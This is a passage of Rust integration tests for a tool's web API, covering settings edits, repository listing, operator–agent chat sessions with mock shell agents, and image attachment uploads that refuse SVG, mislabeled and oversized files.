8137 assert!(v["error"].is_null(), "{v}");
8138 let role = |k: &str| {
8139 v["roles"]
8140 .as_array()
8141 .and_then(|r| r.iter().find(|x| x["key"] == k))
8142 .cloned()
8143 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8144 };
8145 assert_eq!(role("judges")["source"], "machine");
8146 assert_eq!(role("judges")["editable"], true);
8147 assert_eq!(role("implementers")["source"], "default");
8148 let adv = role("advisors");
8149 assert_eq!(adv["fallback"], "judges");
8150 assert!(
8151 adv["seats"]
8152 .as_array()
8153 .is_some_and(|s| s.iter().all(|x| x == "b")),
8154 "{adv}"
8155 );
8156 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8157 assert_eq!(v["agents"][0]["source"], "repo");
8158 }
8159
8160 #[tokio::test]
8161 async fn settings_get_reports_a_config_that_does_not_parse() {
8162 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8163 let f = Fixture::with_repo_and_machine(repo, machine).await;
8164 let res = f.get("/api/settings").await;
8165 assert_eq!(res.status, 200, "{}", res.body);
8166 let v = res.json();
8167 assert!(v["error"]["message"].is_string(), "{v}");
8168 assert!(
8169 v["error"]["path"]
8170 .as_str()
8171 .is_some_and(|p| p.ends_with("magi.toml")),
8172 "{v}"
8173 );
8174 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8175 }
8176
8177 #[tokio::test]
8178 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8179 let (_tmp, repo, machine) = settings_dirs(
8180 SETTINGS_AGENTS,
8181 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8182 );
8183 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8184 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8185 let rev = f.get("/api/settings").await.json()["revision"]
8186 .as_str()
8187 .expect("revision")
8188 .to_owned();
8189 let body = serde_json::json!({
8190 "revision": rev,
8191 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8192 })
8193 .to_string();
8194 let res = f.put("/api/settings/roles", &body).await;
8195 assert_eq!(res.status, 200, "{}", res.body);
8196 let text = std::fs::read_to_string(&machine).expect("machine");
8197 assert_eq!(
8198 text,
8199 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8200 );
8201 assert_eq!(
8202 std::fs::read(repo.join("magi.toml")).expect("read"),
8203 repo_before
8204 );
8205 let again = f.get("/api/settings").await.json();
8206 let judges = again["roles"]
8207 .as_array()
8208 .expect("roles")
8209 .iter()
8210 .find(|r| r["key"] == "judges")
8211 .expect("judges")
8212 .clone();
8213 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8214 let stale = f.put("/api/settings/roles", &body).await;
8216 assert_eq!(stale.status, 409, "{}", stale.body);
8217 }
8218
8219 #[tokio::test]
8220 async fn settings_put_refuses_without_touching_the_file() {
8221 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8222 let (_tmp, repo, machine) = settings_dirs(
8223 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8224 Some(machine_text),
8225 );
8226 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8227 let rev = f.get("/api/settings").await.json()["revision"]
8228 .as_str()
8229 .expect("revision")
8230 .to_owned();
8231 for roles in [
8232 serde_json::json!({ "judges": ["nope"] }),
8233 serde_json::json!({ "reviewers": ["b"] }),
8234 serde_json::json!({ "bogus": ["a"] }),
8235 ] {
8236 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8237 let res = f.put("/api/settings/roles", &body).await;
8238 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8239 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8240 assert_eq!(
8241 std::fs::read_to_string(&machine).expect("machine"),
8242 machine_text
8243 );
8244 }
8245 }
8246
8247 #[tokio::test]
8248 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8249 let tmp = TempDir::new().expect("tempdir");
8250 let repo = tmp.path().join("repo");
8251 std::fs::create_dir_all(&repo).expect("repo dir");
8252 let root = tmp.path().join("root");
8253 make_checkout(&root, "github.com", "yukimemi", "magi");
8254 std::fs::write(
8255 repo.join("magi.toml"),
8256 format!(
8257 "[repos]\nroots = [{:?}]\n",
8258 root.to_string_lossy().into_owned()
8259 ),
8260 )
8261 .expect("write magi.toml");
8262
8263 let f = Fixture::with_repo(repo).await;
8264 let res = f.get("/api/repos").await;
8265 assert_eq!(res.status, 200, "{}", res.body);
8266 let list = res.json();
8267 let repos = list.as_array().expect("an array");
8268 assert_eq!(repos.len(), 1);
8269 assert_eq!(repos[0]["name"], "yukimemi/magi");
8270 assert!(
8271 repos[0]["path"]
8272 .as_str()
8273 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8274 "{list}"
8275 );
8276 }
8277
8278 #[tokio::test]
8279 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8280 let tmp = TempDir::new().expect("tempdir");
8281 let repo = tmp.path().join("repo");
8282 std::fs::create_dir_all(&repo).expect("repo dir");
8283 let root = tmp.path().join("root");
8284 make_checkout(&root, "github.com", "yukimemi", "magi");
8285 std::fs::write(
8286 repo.join("magi.toml"),
8287 format!(
8288 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8289 root.to_string_lossy().into_owned()
8290 ),
8291 )
8292 .expect("write magi.toml");
8293
8294 let f = Fixture::with_repo(repo).await;
8295 let first = f.get("/api/repos").await;
8296 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8297
8298 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8301 let second = f.get("/api/repos").await;
8302 assert_eq!(
8303 second.json().as_array().map(Vec::len),
8304 Some(1),
8305 "a fresh cache must not rescan inside the TTL"
8306 );
8307
8308 let refreshed = f.get("/api/repos?refresh=1").await;
8309 assert_eq!(
8310 refreshed.json().as_array().map(Vec::len),
8311 Some(2),
8312 "an explicit refresh must rescan even inside the TTL"
8313 );
8314 }
8315
8316 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8322
8323 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8327 let tmp = TempDir::new().expect("tempdir");
8328 let repo = tmp.path().join("repo");
8329 std::fs::create_dir_all(&repo).expect("repo dir");
8330 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8331 let f = Fixture::with_repo(repo.clone()).await;
8332 (tmp, repo, f)
8333 }
8334
8335 #[tokio::test]
8336 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8337 let (_tmp, _repo, f) = talk_fixture().await;
8338
8339 let opened = f.post("/api/talks", None).await;
8342 assert_eq!(opened.status, 201, "{}", opened.body);
8343 let body = opened.json();
8344 assert_eq!(body["status"], "open");
8345 assert_eq!(
8346 body["turns"].as_array().unwrap().len(),
8347 0,
8348 "opening takes no agent turn: there is nothing yet to answer"
8349 );
8350
8351 let also_opened = f.post("/api/talks", Some("{}")).await;
8353 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8354
8355 let listed = f.get("/api/talks").await.json();
8356 assert_eq!(listed.as_array().unwrap().len(), 2);
8357 }
8358
8359 #[tokio::test]
8360 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8361 let tmp = TempDir::new().expect("tempdir");
8362 let repo = tmp.path().join("repo");
8363 std::fs::create_dir_all(&repo).expect("repo dir");
8364 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8365 std::fs::write(
8366 repo.join("magi.toml"),
8367 format!("{MOCK_AGENT_TOML}\n{second}"),
8368 )
8369 .expect("write magi.toml");
8370 let home = TempDir::new().expect("temp home");
8371 let talks = Talks::at(home.path().join("talks"));
8372 let ui = Arc::new(
8373 Ui::new(
8374 Queue::at(home.path().join("queue")),
8375 Questions::at(home.path().join("questions")),
8376 talks.clone(),
8377 home.path().join("runs"),
8378 home.path().to_path_buf(),
8379 repo.clone(),
8380 )
8381 .with_worktrees_root(home.path().join("wt")),
8382 );
8383 let cfg = config_for(&repo).await.expect("discover config");
8384 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8385 let id = talk.id.clone();
8386 let call = |agent: &str| {
8387 talk_agent(
8388 State(Arc::clone(&ui)),
8389 Path(id.clone()),
8390 Json(TalkAgent {
8391 agent: agent.to_owned(),
8392 }),
8393 )
8394 };
8395
8396 let unknown = call("nobody").await.expect_err("unknown agent");
8397 assert_eq!(
8398 unknown.status,
8399 StatusCode::BAD_REQUEST,
8400 "{}",
8401 unknown.message
8402 );
8403
8404 {
8405 let mut claimed = None;
8408 for _ in 0..200 {
8409 claimed = ui.begin_talk_turn(&id).expect("claim");
8410 if claimed.is_some() {
8411 break;
8412 }
8413 tokio::time::sleep(Duration::from_millis(10)).await;
8414 }
8415 let _busy = claimed.expect("free");
8416 let busy = call("second").await.expect_err("busy talk");
8417 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8418 }
8419 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8420
8421 let Json(view) = call("second").await.expect("switch");
8422 assert_eq!(view.talk.agent, "second");
8423 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8424 let saved = talks.get(&id).expect("reload");
8425 assert_eq!(saved.agent, "second");
8426 assert_eq!(saved.turns.len(), 1);
8427
8428 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8429 .await
8430 .expect("detail");
8431 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8432 assert_eq!(roster, ["mock", "second"]);
8433
8434 let mut closed = talks.get(&id).expect("reload");
8435 talk::close(&mut closed, &talks).expect("close");
8436 let refused = call("mock").await.expect_err("closed talk");
8437 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8438 }
8439
8440 #[tokio::test]
8441 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8442 let f = Fixture::start().await;
8443 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8444 let queue = f.queue();
8445 let mut mine = Task::new(
8446 "rename the loader".to_owned(),
8447 "rename the loader".to_owned(),
8448 PathBuf::from("/repo/magi"),
8449 Source::Agent {
8450 run: talk_id.clone(),
8451 node: "chat".to_owned(),
8452 },
8453 );
8454 queue.put(&mut mine).expect("file the task");
8455 let mut theirs = Task::new(
8456 "unrelated".to_owned(),
8457 "unrelated".to_owned(),
8458 PathBuf::from("/repo/magi"),
8459 Source::Human,
8460 );
8461 queue.put(&mut theirs).expect("file the task");
8462
8463 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8464 assert_eq!(res.status, 200, "{}", res.body);
8465 let body = res.json();
8466 assert_eq!(
8467 body["status"], "open",
8468 "filing a task does not close a talk"
8469 );
8470 let tasks = body["tasks"].as_array().expect("tasks array");
8471 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8472 assert_eq!(tasks[0]["id"], mine.id);
8473 }
8474
8475 #[tokio::test]
8476 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8477 let (_tmp, _repo, f) = talk_fixture().await;
8478 let id = f.post("/api/talks", None).await.json()["id"]
8479 .as_str()
8480 .expect("id")
8481 .to_owned();
8482
8483 let res = f
8484 .post(
8485 &format!("/api/talks/{id}/say"),
8486 Some(r#"{"text":"what does the queue module do?"}"#),
8487 )
8488 .await;
8489 assert_eq!(res.status, 202, "{}", res.body);
8490 let queued = res.json();
8491 let turns = queued["turns"].as_array().expect("turns array");
8492 assert_eq!(
8493 turns.len(),
8494 1,
8495 "the answer reflects only what is on disk the instant it is sent, \
8496 before the agent's turn - which can run for the whole of \
8497 `[graph] timeout_talk` - has a chance to land: {queued}"
8498 );
8499 assert_eq!(turns[0]["who"], "operator");
8500 assert_eq!(turns[0]["body"], "what does the queue module do?");
8501 assert_eq!(
8502 queued["thinking"], true,
8503 "the accepted response exposes the background turn claim: {queued}"
8504 );
8505
8506 let mut turns_after = 1;
8507 for _ in 0..SETTLE_STEPS {
8508 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8509 turns_after = detail["turns"].as_array().expect("turns array").len();
8510 if turns_after == 2 {
8511 break;
8512 }
8513 tokio::time::sleep(Duration::from_millis(10)).await;
8514 }
8515 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8516 }
8517
8518 #[tokio::test]
8545 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8546 let tmp = TempDir::new().expect("tempdir");
8547 let repo = tmp.path().join("repo");
8548 std::fs::create_dir_all(&repo).expect("repo dir");
8549 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8550 let home = TempDir::new().expect("temp home");
8551 let talks = Talks::at(home.path().join("talks"));
8552 let ui = Arc::new(
8553 Ui::new(
8554 Queue::at(home.path().join("queue")),
8555 Questions::at(home.path().join("questions")),
8556 talks.clone(),
8557 home.path().join("runs"),
8558 home.path().to_path_buf(),
8559 repo.clone(),
8560 )
8561 .with_worktrees_root(home.path().join("wt")),
8562 );
8563 let cfg = config_for(&repo).await.expect("discover config");
8564
8565 for delay in 0..40u32 {
8566 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8567 let id = talk.id.clone();
8568
8569 let handler = tokio::spawn(talk_say(
8570 State(Arc::clone(&ui)),
8571 Path(id.clone()),
8572 Ok(Json(NewTalkTurn {
8573 text: "what does the queue module do?".to_owned(),
8574 attachments: Vec::new(),
8575 })),
8576 ));
8577 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8578 handler.abort();
8579 let _ = handler.await;
8582
8583 let mut turns = 0;
8584 for _ in 0..SETTLE_STEPS {
8585 if let Ok(fresh) = talks.get(&id) {
8586 turns = fresh.turns.len();
8587 if turns != 1 {
8588 break;
8589 }
8590 }
8591 tokio::time::sleep(Duration::from_millis(10)).await;
8592 }
8593 assert_ne!(
8594 turns, 1,
8595 "delay {delay}: talk {id} recorded the operator's turn but \
8596 the agent never answered - the reply task was never \
8597 started after the handler future was dropped"
8598 );
8599 }
8600 }
8601
8602 #[tokio::test]
8647 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8648 let tmp = TempDir::new().expect("tempdir");
8649 let repo = tmp.path().join("repo");
8650 std::fs::create_dir_all(&repo).expect("repo dir");
8651 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8652 let home = TempDir::new().expect("temp home");
8653 let talks = Talks::at(home.path().join("talks"));
8654 let ui = Arc::new(
8655 Ui::new(
8656 Queue::at(home.path().join("queue")),
8657 Questions::at(home.path().join("questions")),
8658 talks.clone(),
8659 home.path().join("runs"),
8660 home.path().to_path_buf(),
8661 repo.clone(),
8662 )
8663 .with_worktrees_root(home.path().join("wt")),
8664 );
8665 let cfg = config_for(&repo).await.expect("discover config");
8666
8667 for attempt in 0..3u32 {
8668 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8669 let id = talk.id.clone();
8670 let turn_guard = ui
8673 .begin_talk_turn(&id)
8674 .expect("claim the turn")
8675 .expect("a fresh talk owes nobody a turn");
8676
8677 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8678 let (release_tx, release_rx) = std::sync::mpsc::channel();
8679 ui.set_busy_queue_gate(BusyQueueGate {
8680 reached: reached_tx,
8681 release: release_rx,
8682 });
8683
8684 let handler = tokio::spawn(talk_say(
8685 State(Arc::clone(&ui)),
8686 Path(id.clone()),
8687 Ok(Json(NewTalkTurn {
8688 text: "what does the queue module do?".to_owned(),
8689 attachments: Vec::new(),
8690 })),
8691 ));
8692
8693 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8698 .await
8699 .unwrap_or_else(|_| {
8700 panic!(
8701 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8702 )
8703 })
8704 .expect("the busy branch dropped the gate without using it");
8705
8706 let running = talks.get(&id).expect("reload talk");
8713 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8714
8715 handler.abort();
8719 let _ = handler.await;
8720
8721 let _ = release_tx.send(());
8727
8728 let mut fresh = talks.get(&id).expect("reload talk");
8731 for _ in 0..SETTLE_STEPS {
8732 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8733 break;
8734 }
8735 tokio::time::sleep(Duration::from_millis(10)).await;
8736 fresh = talks.get(&id).expect("reload talk");
8737 }
8738 assert!(
8739 fresh.pending.is_empty() && fresh.turns.len() == 2,
8740 "attempt {attempt}: talk {id} left the operator's text queued \
8741 with no drainer - the reclaimed turn was dropped along with \
8742 the handler future (pending {:?}, {} turns)",
8743 fresh.pending,
8744 fresh.turns.len()
8745 );
8746 }
8747 }
8748
8749 #[tokio::test]
8750 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8751 let (_tmp, _repo, f) = talk_fixture().await;
8752 let id = f.post("/api/talks", None).await.json()["id"]
8753 .as_str()
8754 .expect("id")
8755 .to_owned();
8756 let store = f.talks();
8757 let mut recovered = store.get(&id).expect("opened talk");
8758 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8759 .expect("persist pending draft without a live turn");
8760
8761 let edited = f
8762 .post(
8763 &format!("/api/talks/{id}/pending/edit"),
8764 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8765 )
8766 .await;
8767 assert_eq!(edited.status, 200, "{}", edited.body);
8768 assert!(edited.json()["thinking"].as_bool().unwrap());
8769
8770 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8771 for _ in 0..SETTLE_STEPS {
8772 if detail["turns"].as_array().expect("turns").len() == 2 {
8773 break;
8774 }
8775 tokio::time::sleep(Duration::from_millis(10)).await;
8776 detail = f.get(&format!("/api/talks/{id}")).await.json();
8777 }
8778 let turns = detail["turns"].as_array().expect("turns");
8779 assert_eq!(
8780 turns.len(),
8781 2,
8782 "the recovered draft must run once: {detail}"
8783 );
8784 assert_eq!(turns[0]["body"], "corrected");
8785 assert_eq!(detail["pending"], "");
8786 }
8787
8788 #[tokio::test]
8789 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8790 let tmp = TempDir::new().expect("tempdir");
8791 let repo = tmp.path().join("repo");
8792 std::fs::create_dir_all(&repo).expect("repo dir");
8793 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8794 let f = Fixture::with_repo(repo).await;
8795 let id = f.post("/api/talks", None).await.json()["id"]
8796 .as_str()
8797 .expect("id")
8798 .to_owned();
8799 let store = f.talks();
8800 let mut recovered = store.get(&id).expect("opened talk");
8801 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8802 .expect("persist pending draft without a live turn");
8803
8804 let refused = f
8805 .post(
8806 &format!("/api/talks/{id}/say"),
8807 Some(r#"{"text":"new message"}"#),
8808 )
8809 .await;
8810 assert_eq!(refused.status, 409, "{}", refused.body);
8811 assert!(refused.body.contains("resume"), "{}", refused.body);
8812 let saved = store.get(&id).expect("draft remains after refusal");
8813 assert!(saved.turns.is_empty());
8814 assert_eq!(saved.pending, "saved before restart");
8815
8816 let say_path = format!("/api/talks/{id}/say");
8817 let (first, second) = tokio::join!(
8818 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8819 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8820 );
8821 assert_eq!(first.status, 409, "{}", first.body);
8822 assert_eq!(second.status, 409, "{}", second.body);
8823 let saved = store
8824 .get(&id)
8825 .expect("draft remains after concurrent refusals");
8826 assert!(saved.turns.is_empty());
8827 assert_eq!(saved.pending, "saved before restart");
8828
8829 let resumed = f
8830 .post(&format!("/api/talks/{id}/pending/resume"), None)
8831 .await;
8832 assert_eq!(resumed.status, 202, "{}", resumed.body);
8833 let duplicate = f
8834 .post(&format!("/api/talks/{id}/pending/resume"), None)
8835 .await;
8836 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8837
8838 for _ in 0..SETTLE_STEPS {
8839 if store.get(&id).expect("talk").turns.len() == 2 {
8840 break;
8841 }
8842 tokio::time::sleep(Duration::from_millis(10)).await;
8843 }
8844 let finished = store.get(&id).expect("finished talk");
8845 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8846 assert_eq!(finished.turns[0].body, "saved before restart");
8847 assert!(finished.pending.is_empty());
8848 }
8849
8850 #[tokio::test]
8851 async fn an_image_only_recovered_draft_resumes_without_text() {
8852 let (_tmp, _repo, f) = talk_fixture().await;
8853 let id = f.post("/api/talks", None).await.json()["id"]
8854 .as_str()
8855 .expect("id")
8856 .to_owned();
8857 let uploaded = f
8858 .post_bytes(
8859 &format!("/api/talks/{id}/attachments"),
8860 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8861 PNG_BYTES,
8862 )
8863 .await;
8864 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8865 let attachment = f
8866 .talks()
8867 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8868 .expect("attachment metadata")
8869 .expect("stored attachment");
8870 let store = f.talks();
8871 let mut recovered = store.get(&id).expect("opened talk");
8872 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8873
8874 let resumed = f
8875 .post(&format!("/api/talks/{id}/pending/resume"), None)
8876 .await;
8877 assert_eq!(resumed.status, 202, "{}", resumed.body);
8878 for _ in 0..SETTLE_STEPS {
8879 if store.get(&id).expect("talk").turns.len() == 2 {
8880 break;
8881 }
8882 tokio::time::sleep(Duration::from_millis(10)).await;
8883 }
8884 let finished = store.get(&id).expect("finished talk");
8885 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8886 assert!(finished.turns[0].body.is_empty());
8887 assert_eq!(finished.turns[0].attachments.len(), 1);
8888 assert!(finished.pending_attachments.is_empty());
8889 }
8890
8891 #[tokio::test]
8892 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8893 let (_tmp, _repo, f) = talk_fixture().await;
8894 let id = f.post("/api/talks", None).await.json()["id"]
8895 .as_str()
8896 .expect("id")
8897 .to_owned();
8898 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8899 assert_eq!(closed.status, 200, "{}", closed.body);
8900 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8901 .expect("serialize closed talk");
8902 for (path, body) in [
8903 (format!("/api/talks/{id}/pending/resume"), None),
8904 (
8905 format!("/api/talks/{id}/pending/clear"),
8906 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8907 ),
8908 (
8909 format!("/api/talks/{id}/pending/edit"),
8910 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8911 ),
8912 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8913 ] {
8914 let response = f.post(&path, body).await;
8915 assert_eq!(response.status, 409, "{}", response.body);
8916 }
8917 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8918 .expect("serialize closed talk");
8919 assert_eq!(
8920 after_clear, before_clear,
8921 "clear must not rewrite a closed talk"
8922 );
8923 }
8924
8925 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8928
8929 #[tokio::test]
8930 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8931 let tmp = TempDir::new().expect("tempdir");
8932 let repo = tmp.path().join("repo");
8933 std::fs::create_dir_all(&repo).expect("repo dir");
8934 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8935 let f = Fixture::with_repo(repo).await;
8936 let id_a = f.post("/api/talks", None).await.json()["id"]
8937 .as_str()
8938 .unwrap()
8939 .to_owned();
8940 let id_b = f.post("/api/talks", None).await.json()["id"]
8941 .as_str()
8942 .unwrap()
8943 .to_owned();
8944
8945 let a = f
8946 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8947 .await;
8948 assert_eq!(a.status, 202, "{}", a.body);
8949 assert_eq!(a.json()["thinking"], true);
8950 let b = f
8951 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8952 .await;
8953 assert_eq!(b.status, 202, "{}", b.body);
8954 assert_eq!(b.json()["thinking"], true);
8955
8956 let listed = f.get("/api/talks").await.json();
8957 for id in [&id_a, &id_b] {
8958 let view = listed
8959 .as_array()
8960 .unwrap()
8961 .iter()
8962 .find(|talk| talk["id"] == *id)
8963 .unwrap();
8964 assert_eq!(view["thinking"], true, "{listed}");
8965 }
8966 let repeated = f
8967 .post(
8968 &format!("/api/talks/{id_a}/say"),
8969 Some(r#"{"text":"again"}"#),
8970 )
8971 .await;
8972 assert_eq!(repeated.status, 202, "{}", repeated.body);
8973 assert_eq!(repeated.json()["pending"], "again");
8974 }
8975
8976 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8979
8980 #[tokio::test]
8981 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8982 let f = Fixture::start().await;
8983 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8984
8985 let res = f
8986 .post_bytes(
8987 &format!("/api/talks/{id}/attachments"),
8988 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8989 PNG_BYTES,
8990 )
8991 .await;
8992 assert_eq!(res.status, 201, "{}", res.body);
8993 let body = res.json();
8994 assert_eq!(body["name"], "shot.png");
8995 assert_eq!(body["mime"], "image/png");
8996 assert_eq!(body["bytes"], PNG_BYTES.len());
8997 let att_id = body["id"].as_str().expect("id").to_owned();
8998 assert_eq!(
8999 att_id.len(),
9000 32,
9001 "the id must never be a client-suppliable path: {att_id}"
9002 );
9003
9004 let got = f
9005 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9006 .await;
9007 assert_eq!(got.status, 200, "{}", got.body);
9008 assert_eq!(got.header("content-type"), Some("image/png"));
9009 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9010 assert_eq!(got.bytes, PNG_BYTES);
9011 }
9012
9013 #[tokio::test]
9014 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9015 let f = Fixture::start().await;
9016 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9017
9018 let svg = f
9021 .post_bytes(
9022 &format!("/api/talks/{id}/attachments"),
9023 &[("Content-Type", "image/svg+xml")],
9024 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9025 )
9026 .await;
9027 assert!(
9028 (400..500).contains(&svg.status),
9029 "svg must be refused: {} {}",
9030 svg.status,
9031 svg.body
9032 );
9033 assert!(svg.body.contains("SVG"), "{}", svg.body);
9034
9035 let text = f
9036 .post_bytes(
9037 &format!("/api/talks/{id}/attachments"),
9038 &[("Content-Type", "text/plain")],
9039 b"just some text",
9040 )
9041 .await;
9042 assert!(
9043 (400..500).contains(&text.status),
9044 "an unlisted type must be refused: {} {}",
9045 text.status,
9046 text.body
9047 );
9048
9049 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9052 let big = f
9053 .post_bytes(
9054 &format!("/api/talks/{id}/attachments"),
9055 &[("Content-Type", "image/png")],
9056 &oversized,
9057 )
9058 .await;
9059 assert_eq!(
9060 big.status,
9061 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9062 "{}",
9063 big.body
9064 );
9065 }
9066
9067 #[tokio::test]
9068 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9069 let f = Fixture::start().await;
9070 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9071
9072 let res = f
9075 .post_bytes(
9076 &format!("/api/talks/{id}/attachments"),
9077 &[("Content-Type", "image/png")],
9078 b"<html>not a picture</html>",
9079 )
9080 .await;
9081 assert!((400..500).contains(&res.status), "{}", res.body);
9082 }
9083
9084 #[tokio::test]
9085 async fn an_unknown_attachment_id_is_a_404() {
9086 let f = Fixture::start().await;
9087 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9088
9089 let res = f
9090 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9091 .await;
9092 assert_eq!(res.status, 404, "{}", res.body);
9093 }
9094
9095 #[tokio::test]
9096 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9097 let f = Fixture::start().await;
9098 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9099
9100 let uploaded = f
9101 .post_bytes(
9102 &format!("/api/talks/{id}/attachments"),
9103 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9104 PNG_BYTES,
9105 )
9106 .await;
9107 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9108 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9109
9110 let res = f
9111 .post(
9112 &format!("/api/talks/{id}/say"),
9113 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9114 )
9115 .await;
9116 assert_eq!(res.status, 202, "{}", res.body);
9117 let queued = res.json();
9118 let turns = queued["turns"].as_array().expect("turns array");
9119 assert_eq!(
9120 turns.len(),
9121 1,
9122 "an empty body with an attachment is still a turn: {queued}"
9123 );
9124 assert_eq!(turns[0]["who"], "operator");
9125 assert_eq!(turns[0]["body"], "");
9126 let atts = turns[0]["attachments"]
9127 .as_array()
9128 .expect("attachments array");
9129 assert_eq!(atts.len(), 1);
9130 assert_eq!(atts[0]["id"], att_id);
9131 assert_eq!(atts[0]["mime"], "image/png");
9132
